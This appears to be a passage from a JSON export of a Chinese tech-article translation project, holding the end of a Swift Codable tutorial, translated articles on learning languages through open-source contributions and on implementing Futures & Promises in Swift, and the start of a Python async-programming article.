encoder.userInfo[CustomerCodingOptions.key] as? CustomerCodingOptions {\n\n        // encode the right key for the customer name\n        switch options.apiVersion {\n        case .v1:\n            try container.encode(name, forKey: .legacyCustomerName)\n        case .v2:\n            try container.encode(name, forKey: .name)\n        }\n\n        // use the provided formatter for the date\n        if let migrationDate = legacyMigrationDate {\n            let legacyDateString = options.legacyDateFormatter.string(from: migrationDate)\n            try container.encode(legacyDateString, forKey: .legacyMigrationDate)\n        }\n\n    } else {\n        fatalError(\"We require options\")\n    }\n\n\n    try container.encode(createdAt, forKey: .createdAt)\n}\n```\n\nWe can do exactly the same things for the decode initializer.\n\nProviding options from the outside is a great way to have more control over the parsing, as well as reusing potentially expensive-to-create objects like `DateFormatter`.\n\n## Dynamic Coding Keys\n\nSo far in this guide we’ve used an `enum` to represent coding keys when they diverge\nfrom the Swift naming. Sometimes this won’t be possible. Consider this case:\n\n```\n{\n  \"kolsh\" : {\n    \"description\" : \"First only brewed in Köln, Germany, now many American brewpubs...\"\n  },\n  \"stout\" : {\n    \"description\" : \"As mysterious as they look, stouts are typically dark brown to pitch black in color...\"\n  }\n}\n```\n\nThis is a listing of beer styles, but the keys are actually the name of the style.\nWe could not represent *every possible case* with an enum as it could change or grow over time.\n\nInstead, we can create a more dynamic implementation of `CodingKey` for this.\n\n```\nstruct BeerStyles : Codable {\n  struct BeerStyleKey : CodingKey {\n    var stringValue: String\n    init?(stringValue: String)? {\n      self.stringValue = stringValue\n    }\n    var intValue: Int? { return nil }\n    init?(intValue: Int) { return nil }\n\n    static let description = BeerStyleKey(stringValue: \"description\")!\n  }\n\n  struct BeerStyle : Codable {\n    let name: String\n    let description: String\n  }\n\n  let beerStyles : [BeerStyle]\n}\n```\n\n`CodingKey` requires both `String` and `Int` value properties and initializers,\nbut in this case we don’t need to support integer keys. We also have defined a\nstatic key for the static `\"description\"` attribute, which won’t change.\n\nLet’s start with decoding.\n\n```\ninit(from decoder: Decoder) throws {\n    let container = try decoder.container(keyedBy: BeerStyleKey.self)\n\n    var styles: [BeerStyle] = []\n    for key in container.allKeys {\n        let nested = try container.nestedContainer(keyedBy: BeerStyleKey.self,\n            forKey: key)\n        let description = try nested.decode(String.self,\n            forKey: .description)\n        styles.append(BeerStyle(name: key.stringValue,\n            description: description))\n    }\n\n    self.beerStyles = styles\n}\n```\n\nHere we dynamically loop over all keys found in the container, grab a reference\nto the container under that key, then we extract the description from it.\n\nUsing both `name` and `description` we can manually create a `BeeryStyle` instance\nand add it to the array.\n\nHow about encoding?\n\n```\nfunc encode(to encoder: Encoder) throws {\n    var container = try encoder.container(keyedBy: BeerStyleKey.self)\n    for style in beerStyles {\n        let key = BeerStyleKey(stringValue: style.name)!\n        var nested = try container.nestedContainer(keyedBy: BeerStyleKey.self,\n            forKey: key)\n        try nested.encode(style.description, forKey: .description)\n    }\n}\n```\n\nHere we loop over all the styles in our array, create a key for the name of\nthe style, and create a container at that key. Then we just need to encode the\ndescription into that container and we’re done.\n\nAs you can see, creating a custom `CodingKey` gives us a lot of flexibility over\nthe types of responses we can handle.\n\n## Handling Errors\n\nSo far we haven’t handled any errors.  These are some of the errors we might run into. Each provides some associated values (like `DecodingError.Context` which provides a useful debug description of what when wrong).\n\n- `DecodingError.dataCorrupted(Context)` – the data is corrupted (i.e. it doesn’t look at all like what we expect). This would be the case if the `data` you fed to the decoder wasn’t JSON at all, but perhaps an HTML error page from a failed API call.\n- `DecodingError.keyNotFound(CodingKey, Context)` – a required key was not found. This passes the key in question and the context gives useful information about where and why this happened. You could catch this and provide a fallback value for some keys if appropriate.\n- `DecodingError.typeMismatch(Any.Type, Context)` – expected one type but found another.  Perhaps the data format changed from one version of an API to another. You could catch this error and attempt to retrieve the value using a different type instead.\n\nThe errors raised by the encoder and decoder are very useful in diagnosing problems and give you the flexibility to dynamically adapt to certain situations and handle them appropriately.\n\nOne such place is migrating responses from older versions of an API.  Say for instance you encoded a version of your object in order to put in a persistent cache on disk somewhere. Later you changed the format, but this disk representation still exists. When you try to load it, it would raise these errors and you could handle them to cleanly migrate to the new data format.\n\n## Further Reading\n\n- [Codable.swift](https://github.com/apple/swift/blob/master/stdlib/public/core/Codable.swift) –\nOne of the great things about Swift being open source is we can just look at how these things are implemented.\nDefinitely take a look!\n- [Using JSON with Custom Types](https://developer.apple.com/documentation/foundation/archives_and_serialization/using_json_with_custom_types) – A sample playground from Apple that shows some more complex JSON parsing scenarios.\n\n## Conclusion\n\nThis was a whirlwind tour of how to use the new Swift 4 Codable API. Have anything to add? Leave a comment below.\n\nLike this stuff? I think you’ll love [NSScreencast](http://nsscreencast.com) as well.\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/unconventional-way-of-learning-a-new-programming-language.md",
    "content": "> * 原文地址：[Unconventional way of learning a new programming language](https://hackernoon.com/unconventional-way-of-learning-a-new-programming-language-e4d1f600342c#.alz60t9jd)\n> * 原文作者：该文章已获原作者 [Sahil Dua](https://hackernoon.com/@sahildua2305) 授权\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：[ivyxuan](https://github.com/iloveivyxuan)\n> * 校对者：[atuooo](https://github.com/atuooo), [gaozp](http://gaozhipeng.me)\n\n---\n\n# 震惊，还可以用这种姿势学习编程\n\n现在已经有 500 多门编程语言了。所以站在今天来说，开始学习一门新的编程语言对你来说是一件很正常的事情。比如你会 C++ 和 Java，但是你的工作却需要用到 Python；或者你精通 Python 但是你工作中用到的语言却是 Java；又或者说你只是想扩展一下你的编程技能。\n\n所以如果你想开始学习一门新的编程语言，你会选择什么方式？\n\n- 阅读一些在线教程\n- 或是看一些在线的网络课程\n\n甚至你们其中一些人或许会说学习一门新的编程语言最好的途径应该是这样的：\n\n- 先学习这门新的编程语言的语法\n- 再用这门语言开发一些个人项目\n\n这样说的确很有道理！因为它可以确保你将你所学的语法知识运用出来。\n\n在我学习各种语言的过程中，我开发了 20 多个小项目。但相信我，在你写个人项目的时候，不管是利用周末做一个项目还是刷夜做一个快速开发，你写的代码都是为了完成某些事情。你只会关注 —— “我的代码能不能运行的通”，而不会去关心代码质量。\n\n> “任何一个吃瓜群众都可以写出能让计算机理解的代码，但一个好的程序员可以写出能让人理解的代码。” —— (Martin Fowler)\n\n---\n\n所以，如果你想要学习一门新的编程语言，怎样才是一个好的方式？\n\n### 向这门语言的开源项目贡献代码。\n\n是不是震惊了？你可能会想 —— “等等，开源项目很难啊。难道不是只有当我精通这门语言的时候才能向一个开源项目贡献代码的吗？”。答案是否定的。\n\n让我来给你们讲个故事。\n\n去年，我收到了 Booking 全职工作的邀请，而且我知道我将要用 Perl 语言去工作（因为这个是他们后端主要应用的语言）。2016 年 6 月，我毕业之后就开始学习 Perl，这样我才能做好准备去迎接我大学毕业后的第一份工作。因为我会在 7 月的第二周入职，所以我大概有 1 个月的时间去准备。\n\n我开始阅读 Perl 的语法规则并尝试理解这门语言常用的设计模式。那个时候，我特别想用 Perl 做些什么，那样我就可以应用我学到的知识还可以将这个语言各种各样的概念实践出来。当我还在想我能用 Perl 做些什么的时候，我在 GitHub 上看到了一个叫 DuckDuckGo 的开源项目组织。我注意到它们的一些开源项目是用 Perl 语言写的。我看了看上面的 issue，然后发现有很多 issue 都有“新手（beginner）”的标签。我马上开始着手去解决这些问题并且提交了一些 pull request。到今天为止，我已经成为了他们一些开源项目的主要的贡献者，而且还是 DuckDuckGo 这个开源项目社区中 20 个负责人之一。\n\n> 这故事想告诉大家的就是 —— 我通过向 Perl 语言写的开源项目贡献代码学习了 Perl 语言。\n\n### 所以为什么这个办法会有用？\n\n当我学完了 Perl 的语法之后，我开始向开源项目贡献代码。做这件事的时候，我习惯于查看所有已有的模型，并留心 Perl 语言的设计模式。然后，我再将可取地方运用到自己的代码中，我也因此了解到了怎样才能写好 Perl 语言。\n\n这并不是偶然，我还可以向你讲另外一个类似的故事。\n\n最近，在我的工作中，我选择了一些任务，其中包括向 Go 语言写的系统中添加一些新的特性的任务。因此我和我的同事发生了下面的对话 ——\n\n> **我：** **我十分喜欢这个任务，很想参与，你觉得可以吗？**\n\n> **Him：** **嗯，这个任务的确很有意思。但是，它需要你了解 Go，你学过 Go 吗？**\n\n> **我：** **没有耶……**\n\n> **Him：** **那你想学 Go 吗？**\n\n> **我：** **想！**\n\n> **Him：** **好嘞，那就去学！**\n\n所以啦，我要开始学习另一门语言了 —— Go！\n\n我开始阅读 Go 的语法然后在他们的官网中找到了一个优质的针对初学者的教程。这足够我去了解这个语言所有的基本概念。\n\n然后又一次，我开始找 Go 的开源项目，而且是那种带有“初学者（beginner）”和“简单（easy-fix）”标签的 issue。我发现了一个谷歌的项目，基本上来说是一个用 Go 语言为 GitHub 的 REST API 写的包。\n\n**仅仅在我开始学习 Go 的 2 天之后，我就有了我的第一次提交。**\n\n![](https://cdn-images-1.medium.com/max/800/1*TsCbnT-eiymTGR5WDQccrA.png)\n\n---\n\n### 开源项目能提供怎样的帮助？\n\n你现在可能会好奇，向开源项目贡献代码到底是如何让你更好地学习使用编程语言的。有以下几个方面。\n\n#### **代码质量**\n\n很多好的开源项目都有一套严格的代码规范，要想你的代码能够被合并就必须要遵守这些规范。因此，即使你刚刚开始学习这门语言也可以根据这些规范写出质量很高的代码。\n\n不仅仅如此，你还可以浏览项目其他部分的代码，然后学习怎么写出优雅的代码以及怎么去组织文档。\n\n#### 代码校对\n\n向开源项目贡献代码最棒的一点就是有代码校对。你提交你的代码之后，你会收到项目负责人的反馈，这提供给你一个能更好理解这门语言的机会。\n\n这就像是获得了一个能教导你写出优秀代码的免费个人教练。\n\n#### 得到赏识\n\n![](https://cdn-images-1.medium.com/max/800/1*3qrExiprhpgmLRSfqzW6Yw.png)\n\n作为软件开发人员，我们真的需要自己的工作能够得到赏识，而开源社区确保了这一点。我从来没有收到过一条侮辱或者打击人的评论，所有人都特别鼓励我而且特别友好。\n\n![](https://cdn-images-1.medium.com/max/800/1*utyQ9CozIVz8xcIVHI6-Ew.png)\n\n---\n\n所以，如果下一次你要学习一门新的语言，只管去学吧！找一个开源项目贡献代码，然后在学习这门语言和它自己细微差别的路上前进吧 ;)\n\n一定要让我知道这个不怎么寻常的方法对你有没有用。而如果你认为这个方法有用的话，请给我点个赞(❤)～\n\n如果你有什么其他有用的方法的话也请告诉我。推特／关注我[@sahildua2305](https://twitter.com/sahildua2305)。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/under-the-hood-of-futures-and-promises-in-swift.md",
    "content": "    \n  > * 原文地址：[Under the hood of Futures & Promises in Swift](https://www.swiftbysundell.com/posts/under-the-hood-of-futures-and-promises-in-swift)\n  > * 原文作者：[John Sundell](https://twitter.com/johnsundell)\n  > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n  > * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/under-the-hood-of-futures-and-promises-in-swift.md](https://github.com/xitu/gold-miner/blob/master/TODO/under-the-hood-of-futures-and-promises-in-swift.md)\n  > * 译者：[oOatuo](https://github.com/atuooo)\n  > * 校对者：[Kangkang](https://github.com/xuxiaokang), [Richard_Lee](https://github.com/richardleeh)\n\n# 探究 Swift 中的 Futures & Promises \n\n异步编程可以说是构建大多数应用程序最困难的部分之一。无论是处理后台任务，例如网络请求，在多个线程中并行执行重操作，还是延迟执行代码，这些任务往往会中断，并使我们很难调试问题。\n\n正因为如此，许多解决方案都是为了解决上述问题而发明的 - 主要是围绕异步编程创建抽象，使其更易于理解和推理。对于大多数的解决方案来说，它们都是在\"回调地狱\"中提供帮助的，也就是当你有多个嵌套的闭包为了处理同一个异步操作的不同部分的时候。\n\n这周，让我们来看一个这样的解决方案 - **Futures & Promises** - 让我们打开\"引擎盖\"，看看它们是如何工作的。。\n\n## A promise about the future\n\n当介绍 Futures & Promises 的概念时，大多数人首先会问的是 **Future 和 Promise 有什么区别？**。在我看来，最简单易懂的理解是这样的：\n\n- **Promise** 是你对别人所作的承诺。\n- 在 **Future** 中，你可能会选择兑现（解决）这个 promise，或者拒绝它。\n\n如果我们使用上面的定义，Futures & Promises 变成了一枚硬币的正反面。一个 Promise 被构造，然后返回一个 Future，在那里它可以被用来在稍后提取信息。\n\n那么这些在代码中看起来是怎样的？\n\n让我们来看一个异步的操作，这里我们从网络加载一个 \"User\" 的数据，将其转换成模型，最后将它保存到一个本地数据库中。用”老式的办法“，闭包，它看起来是这样的：\n\n```\nclass UserLoader {\n    typealias Handler = (Result<User>) -> Void\n\n    func loadUser(withID id: Int, completionHandler: @escaping Handler) {\n        let url = apiConfiguration.urlForLoadingUser(withID: id)\n\n        let task = urlSession.dataTask(with: url) { [weak self] data, _, error in\n            if let error = error {\n                completionHandler(.error(error))\n            } else {\n                do {\n                    let user: User = try unbox(data: data ?? Data())\n\n                    self?.database.save(user) {\n                        completionHandler(.value(user))\n                    }\n                } catch {\n                    completionHandler(.error(error))\n                }\n            }\n        }\n\n        task.resume()\n    }\n}\n```\n\n正如我们可以看到的，即使有一个非常简单（非常常见）的操作，我们最终得到了相当深的嵌套代码。这是用 Future & Promise 替换之后的样子：\n\n```\nclass UserLoader {\n    func loadUser(withID id: Int) -> Future<User> {\n        let url = apiConfiguration.urlForLoadingUser(withID: id)\n\n        return urlSession.request(url: url)\n                         .unboxed()\n                         .saved(in: database)\n    }\n}\n```\n\n这是调用时的写法：\n\n```\nlet userLoader = UserLoader()\nuserLoader.loadUser(withID: userID).observe { result in\n    // Handle result\n}\n```\n\n现在上面的代码可能看起来有一点黑魔法（所有其他的代码去哪了？！😱），所以让我们来深入研究一下它是如何实现的。\n\n## 探究 future\n\n**就像编程中的大多数事情一样，有许多不同的方式来实现 Futures & Promises。在本文中，我将提供一个简单的实现，最后将会有一些流行框架的链接，这些框架提供了更多的功能。**\n\n让我们开始探究下 `Future` 的实现，这是从异步操作中*公开返回*的。它提供了一种**只读**的方式来观察每当被赋值的时候以及维护一个观察回调列表，像这样：\n\n```\nclass Future<Value> {\n    fileprivate var result: Result<Value>? {\n        // Observe whenever a result is assigned, and report it\n        didSet { result.map(report) }\n    }\n    private lazy var callbacks = [(Result<Value>) -> Void]()\n\n    func observe(with callback: @escaping (Result<Value>) -> Void) {\n        callbacks.append(callback)\n\n        // If a result has already been set, call the callback directly\n        result.map(callback)\n    }\n\n    private func report(result: Result<Value>) {\n        for callback in callbacks {\n            callback(result)\n        }\n    }\n}\n```\n\n## 生成 promise\n\n接下来，硬币的反面，`Promise` 是 `Future` 的子类，用来添加**解决**和**拒绝**它的 API。解决一个承诺的结果是，在未来成功地完成并返回一个值，而拒绝它会导致一个错误。像这样：\n\n```\nclass Promise<Value>: Future<Value> {\n    init(value: Value? = nil) {\n        super.init()\n\n        // If the value was already known at the time the promise\n        // was constructed, we can report the value directly\n        result = value.map(Result.value)\n    }\n\n    func resolve(with value: Value) {\n        result = .value(value)\n    }\n\n    func reject(with error: Error) {\n        result = .error(error)\n    }\n}\n```\n\n正如你看到的，Futures & Promises 的基本实现非常简单。我们从使用这些方法中获得的很多神奇之处在于，这些扩展可以增加连锁和改变未来的方式，使我们能够构建这些漂亮的操作链，就像我们在 UserLoader 中所做的那样。\n\n但是，如果不添加用于链式操作的api，我们就可以构造用户加载异步链的第一部分 - `urlSession.request(url:)`。在异步抽象中，一个常见的做法是在 SDK 和 Swift 标准库之上提供方便的 API，所以我们也会在这里做这些。`request(url:)` 方法将是 `URLSession` 的一个扩展，让它可以用作基于 Future/Promise 的 API。\n\n```\nextension URLSession {\n    func request(url: URL) -> Future<Data> {\n        // Start by constructing a Promise, that will later be\n        // returned as a Future\n        let promise = Promise<Data>()\n\n        // Perform a data task, just like normal\n        let task = dataTask(with: url) { data, _, error in\n            // Reject or resolve the promise, depending on the result\n            if let error = error {\n                promise.reject(with: error)\n            } else {\n                promise.resolve(with: data ?? Data())\n            }\n        }\n\n        task.resume()\n\n        return promise\n    }\n}\n```\n\n我们现在可以通过简单地执行以下操作来执行网络请求：\n\n```\nURLSession.shared.request(url: url).observe { result in\n    // Handle result\n}\n```\n\n## 链式\n\n接下来，让我们看一下如何将多个 future 组合在一起，形成一条链 — 例如当我们加载数据时，将其解包并在 UserLoader 中将实例保存到数据库中。\n\n链式的写法涉及到提供一个闭包，该闭包可以返回一个新值的 future。这将使我们能够从一个操作获得结果，将其传递给下一个操作，并从该操作返回一个新值。让我们来看一看：\n\n```\nextension Future {\n    func chained<NextValue>(with closure: @escaping (Value) throws -> Future<NextValue>) -> Future<NextValue> {\n        // Start by constructing a \"wrapper\" promise that will be\n        // returned from this method\n        let promise = Promise<NextValue>()\n\n        // Observe the current future\n        observe { result in\n            switch result {\n            case .value(let value):\n                do {\n                    // Attempt to construct a new future given\n                    // the value from the first one\n                    let future = try closure(value)\n\n                    // Observe the \"nested\" future, and once it\n                    // completes, resolve/reject the \"wrapper\" future\n                    future.observe { result in\n                        switch result {\n                        case .value(let value):\n                            promise.resolve(with: value)\n                        case .error(let error):\n                            promise.reject(with: error)\n                        }\n                    }\n                } catch {\n                    promise.reject(with: error)\n                }\n            case .error(let error):\n                promise.reject(with: error)\n            }\n        }\n\n        return promise\n    }\n}\n```\n\n使用上面的方法，我们现在可以给 **`Savable` 类型的 future** 添加一个扩展，来确保数据一旦可用时，能够轻松地保存到数据库。\n\n```\nextension Future where Value: Savable {\n    func saved(in database: Database) -> Future<Value> {\n        return chained { user in\n            let promise = Promise<Value>()\n\n            database.save(user) {\n                promise.resolve(with: user)\n            }\n\n            return promise\n        }\n    }\n}\n```\n\n现在我们来挖掘下 Futures & Promises 的真正潜力，我们可以看到 API 变得多么容易扩展，因为我们可以在 `Future` 的类中使用不同的通用约束，方便地为不同的值和操作添加方便的 API。\n\n## 转换\n\n虽然链式调用提供了一个强大的方式来有序地执行异步操作，但有时你只是想要对值进行简单的同步转换 - 为此，我们将添加对**转换**的支持。\n\n转换直接完成，可以随意地抛出，对于 JSON 解析或将一种类型的值转换为另一种类型来说是完美的。就像 `chained()` 那样，我们将添加一个 `transformed()` 方法作为 `Future` 的扩展，像这样：\n\n```\nextension Future {\n    func transformed<NextValue>(with closure: @escaping (Value) throws -> NextValue) -> Future<NextValue> {\n        return chained { value in\n            return try Promise(value: closure(value))\n        }\n    }\n}\n```\n\n正如你在上面看到的，转换实际上是一个链式操作的同步版本，因为它的值是直接已知的 - 它构建时只是将它传递给一个新 `Promise` 。\n\n使用我们新的变换 API, 我们现在可以添加支持，将 `Data` 类型 的 future 转变为一个 `Unboxable` 类型(JSON可解码) 的 future类型，像这样：\n\n```\nextension Future where Value == Data {\n    func unboxed<NextValue: Unboxable>() -> Future<NextValue> {\n        return transformed { try unbox(data: $0) }\n    }\n}\n```\n\n## 整合所有\n\n现在，我们有了把 `UserLoader` 升级到支持 Futures & Promises 的所有部分。我将把操作分解为每一行，这样就更容易看到每一步发生了什么：\n\n```\nclass UserLoader {\n    func loadUser(withID id: Int) -> Future<User> {\n        let url = apiConfiguration.urlForLoadingUser(withID: id)\n\n        // Request the URL, returning data\n        let requestFuture = urlSession.request(url: url)\n\n        // Transform the loaded data into a user\n        let unboxedFuture: Future<User> = requestFuture.unboxed()\n\n        // Save the user in the database\n        let savedFuture = unboxedFuture.saved(in: database)\n\n        // Return the last future, as it marks the end of the chain\n        return savedFuture\n    }\n}\n```\n\n当然，我们也可以做我们刚开始做的事情，把所有的调用串在一起 (这也给我们带来了利用 Swift 的类型推断来推断 `User` 类型的 future 的好处):\n\n```\nclass UserLoader {\n    func loadUser(withID id: Int) -> Future<User> {\n        let url = apiConfiguration.urlForLoadingUser(withID: id)\n\n        return urlSession.request(url: url)\n                         .unboxed()\n                         .saved(in: database)\n    }\n}\n```\n\n## 结论\n\n在编写异步代码时，Futures & Promises 是一个非常强大的工具，特别是当您需要将多个操作和转换组合在一起时。它几乎使您能够像同步那样去编写异步代码，这可以提高可读性，并使在需要时可以更容易地移动。\n\n然而，就像大多数抽象化一样，你本质上是在掩盖复杂性，把大部分的重举移到幕后。因此，尽管 `urlSession.request(url:)` 从外部看，API看起来很好，但调试和理解到底发生了什么都会变得更加困难。\n\n我的建议是，如果你在使用 Futures & Promises，那就是让你的调用链尽可能精简。记住，好的文档和可靠的单元测试可以帮助你避免很多麻烦和棘手的调试。\n\n以下是一些流行的 Swift 版本的 Futures & Promises 开源框架：\n\n- [PromiseKit](https://github.com/mxcl/PromiseKit)\n- [BrightFutures](https://github.com/Thomvis/BrightFutures)\n- [When](https://github.com/vadymmarkov/When)\n- [Then](https://github.com/freshOS/then)\n\n你也可以在 [GitHub](https://github.com/JohnSundell/SwiftBySundell/blob/master/Blog/Under-the-hood-of-Futures-and-Promises.swift) 上找到该篇文章涉及的所有代码。\n\n如果有问题，欢迎留言。我非常希望听到你的建议！👍你可以在下面留言，或者在 Twitter [@johnsundell](https://twitter.com/johnsundell) 联系我。\n\n另外，你可以获取最新的 [Sundell 的 Swift 播客](https:swiftbysundell.compodcast)，我和来自社区的游客都会在上面回答你关于 Swift 开发的问题。\n\n感谢阅读 🚀。\n\n  ---\n\n  > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n  \n"
  },
  {
    "path": "TODO/understanding-asynchronous-programming-in-python.md",
    "content": "> * 原文地址：[Understanding Asynchronous Programming in Python](https://dbader.org/blog/understanding-asynchronous-programming-in-python)\n> * 原文作者：[Doug Farrell](https://dbader.org/blog/understanding-asynchronous-programming-in-python#author)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：[steinliber](https://github.com/steinliber)\n> * 校对者：[CACppuccino](https://github.com/CACppuccino)、[MrShayne](https://github.com/MrShayne)\n\n# 理解 Python 中的异步编程\n\n如何使用 Python 来编写异步程序以及为什么你需要做这件事。\n\n![](https://dbader.org/blog/figures/python-async-programming.png)\n\n我们中的大部分人一开始写的都是**同步程序**，这种类型的程序可以被认为是在同一时间只运行一个执行步骤，一步接着一步这样相继执行的。\n\n即使是有条件分支、循环和函数调用，我们仍然可以认为代码在同一时间只执行一步，当这一步完成时，才执行下一步。\n\n下面是使用这种模式运行的示例程序：\n\n- **批量处理程序**通常是写成同步程序的：获取一些输入，处理它，然后创建一些输出。按照逻辑一步接一步地运行直到得到我们想要的输出。除了这些执行的步骤和顺序外，这类程序并不需要关注其它任何事情。\n\n- **命令行程序**通常是一个小而快的程序，用来把一些东西“转换“成其他一些东西。这个程序表现出来就是一系列程序步骤连续执行直到完成任务。\n\n一个**异步程序**表现的就不一样。它仍然是每次只执行一步。然而其不同之处在于系统可能不会等到一个执行步骤完成后再执行下一步。\n\n这意味着即使先前的执行步骤（或者多个步骤）还在“其他地方“执行，我们仍然可以继续执行程序的下一步。这也意味着当在\"其他地方\"的步骤执行完成时，我们程序代码中必须去处理它。\n\n为什么我们想要以这种方式写程序呢？简单来说就是它可以帮助我们处理特定类型的编程问题。\n\n这里有个概念性的程序或许可以作为认识异步编程的例子：\n\n## 让我们来看看一个简单的 Web 服务器\n\n它的基本工作单元和我们之前描述的批量处理程序相同；获取一些输入，处理这些输入，然后创建输出。通过写一个同步程序就可以创建一个工作的 web 服务器。\n\n它将是一个**绝对糟糕**的 web 服务器。\n\n**为什么？** 在一个 web 服务器的情况下，一个工作单元（输入、处理、输出）不是这个服务器唯一的目的。它真正的目的是能长时间同时处理数百上千个工作单元。\n\n**我们能让这个同步服务器变得更好吗？** 当然，我们可以通过优化我们的执行步骤来让它们运行的尽可能快。但是不幸的是，这种方法有非常现实的限制，从而导致 web 服务器无法足够快的响应请求，并且也不能处理足够数量的当前用户。\n\n**上述方法优化的真实限制是什么？** 网络的速度，文件的读写速度，数据库的查询速度，其它连接服务的速度等。这个列表的共有特征是它们都是 IO 函数。所有这些项的处理速度都比我们的 CPU 处理速度要慢很多个数量级。\n\n在一个**同步程序**里如果一个执行步骤开始一次数据库查询（比如说），在这次查询返回一些数据之前，CPU 本质上会空闲很长一段时间，之后它才可以继续运行下一个执行步骤。\n\n对于**面向批量处理的程序**这并不是关键，它的目的是处理通过 IO 操作得到的结果，而且这个过程所花时间通常比 IO 操作长得多。任何优化的工作都将侧重于处理的工作而不是 IO。\n\n文件，网络和数据库 IO 操作都很快，但是它们的执行速度仍然比 CPU 执行速度慢。异步编程技术让我们的程序可以利用相对较慢的 IO 处理来释放 CPU 从而执行其他工作。\n\n当我开始尝试了解异步编程时，我咨询的人们和查阅的文档谈了很多编写非阻塞代码的重要性。是的，这些从来没有帮助到我。\n\n什么是非阻塞代码？什么是阻塞代码？这个信息就像我们有一个参考手册，但是手册里面没有具有实际意义的内容，来描述如何有意义地使用这些技术细节。\n\n## 现实世界是异步的\n\n相较于同步程序，编写异步程序是不一样的，让你理解起来会有一点困难。这就很有趣了，因为无论是在我们生活的世界里，还是我们与之交互的方式，这些几乎都是完全异步的。\n\n**这里有一个大多数人都相关联的例子：** 作为一个父母尝试同时做好几件事；包括平衡支票本、洗衣服和照看孩子。\n\n我们做这些事的时候甚至从来都没有细想，但是现在让我们试着把它们拆分出来：\n\n- 平衡支票本是一个我们正在尝试将其完成的任务，而且我们可以把它看作一个同步任务；一步接着另一步执行直至任务完成。\n\n- 但是，我们可以离开这个任务去洗衣服，把烘干机里已经烘干的衣物取出，再把已经洗完的衣服从洗衣机拿出来之后放到烘干机里并开始把另一些未洗的衣服放入洗衣机。不管怎样，这些任务是可以被异步完成的。\n\n- 虽然我们在使用洗衣机和烘干机来洗衣服,这个过程是一个同步任务而且我们正在处理该任务，但是洗衣服的大部分任务是发生在我们启动洗衣机和烘干机之后发生的，这时候我们已经离开并返回平衡支票本的任务。现在任务就是异步的了，洗衣机和烘干机将会独立运行，一直到其中任意一个需要我们去处理时蜂鸣器就会响。\n\n- 看孩子是另一个异步的任务。一旦他们起床了并且在玩耍，他们是一个人在那玩（一定程度上）直到他们需要我们的注意；一些孩子饿了，一些受伤了，一些在大声的叫喊，作为父母我们需要对此作出响应。照看孩子是一个长期运行的高优先级任务，重要性超过了任何我们可能正在做的其他任务，比如平衡支票本和洗衣服。\n\n这个例子展示了阻塞和非阻塞代码。比如说当我们去洗衣服的时候，CPU（父母）就是忙碌的并且阻塞执行其它的工作。\n\n但是没有关系，因为 CPU 正在忙碌而且这个任务运行时间相对来说是比较快的，当我们启动洗衣机和烘干机之后返回做其他事时，这个洗衣的任务现在就变成异步的了，因为 CPU 正在做其它的事情，如果你愿意，这时候已经改变了运行的上下文，而且当洗衣任务完成时你将通过机器的蜂鸣器得到通知。\n\n作为人类这是我们工作的方式，我们很自然的在同一时间做多件事情，这过程经常是不加思索的。作为程序员，其中的诀窍就是把这种行为转化为做同样事的代码。\n\n让我们尝试使用你可能熟悉的代码观念来\"编程\"：\n\n## 头脑风暴 #1：\"批量处理型\"父母\n\n想想尝试使用完全同步的方式来完成这些任务。在这种情形下，如果我们是好的父母，我们就会一直照看着孩子，等待孩子这边有一些需要我们关注的事情发生。在这种情况下我们不会做其他任何事，比如平衡支票本或者洗衣服。\n\n我们可以按任何我们想要的方式在确定任务的优先级，但是在同一时间只有一个任务以同步的方式发生，以一个接着另一个的方式。这种方式就像先前描述的同步服务器一样，它的确可以工作，但这将是一种可怕的运行方式。\n\n直到孩子睡着之前，我们都不能干其它任何事，其他所有事只能在这个之后才能做了，但是这时候已经夜幕降临了。这样的一个星期之后，大多数父母会选择跳出窗外。\n\n## 头脑风暴 